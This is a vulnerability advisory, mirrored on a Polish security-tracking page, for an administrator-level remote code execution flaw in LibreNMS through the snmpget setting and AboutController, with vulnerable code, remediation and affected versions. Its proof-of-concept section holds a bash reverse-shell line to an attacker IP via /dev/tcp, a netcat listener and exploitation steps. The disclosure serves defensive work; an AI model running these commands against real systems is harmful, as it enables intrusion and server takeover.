LibreNMS Vulnerable to Remote Code Execution via AboutController
Remote Code Execution via AboutController in LibreNMS
Summary
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
Root Cause
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
Configuration Access
The snmpget configuration can be modified through the web interface:
- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config_definitions.json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
Validation Analysis
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
Attack Scenarios
| Scenario | Description |
|---|---|
| Insider Threat | Internal admin creates malicious file → updates config → RCE |
| Privilege Escalation | Attacker with limited access → creates file → full RCE |
| Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to:
/tmp/rev_shell.sh - Click Save
Step 4: Trigger RCE
Access the /about endpoint to execute the malicious binary:
Impact Summary
| Category | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Read config files, database credentials, SSH keys |
| Integrity | HIGH | Create webshells, backdoors, modify code |
| Availability | HIGH | Disrupt services, delete data, stop monitoring |
| Scope | CHANGED | Compromise extends beyond application to system |
Who Is Impacted
- LibreNMS installations where attacker has admin credentials AND file system access
- Organizations using LibreNMS for network monitoring
- Systems monitored by LibreNMS (lateral movement risk)
Remediation
Replace shell_exec() with Symfony Process component:
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | librenms/librenms | < 26.5.0 | 26.5.0 |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H- Słabość (CWE)
CWE-77, CWE-78- Platforma
- Composer
- Paczka
librenms/librenms- Ujawniono
- 18.08.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-jf24-8g2h-2wg7 - CC BY 4.0
Historia podatności: librenms/librenms
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 106
- Pierwsza → ostatnia
- 10.2019 08.2026
- Bez poprawki
- 6
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 5
- Wysoka 39
- Średnia 56
- Niska 6
Ujawnienia w latach
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
LibreNMS Vulnerable to Remote Code Execution via AboutController ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.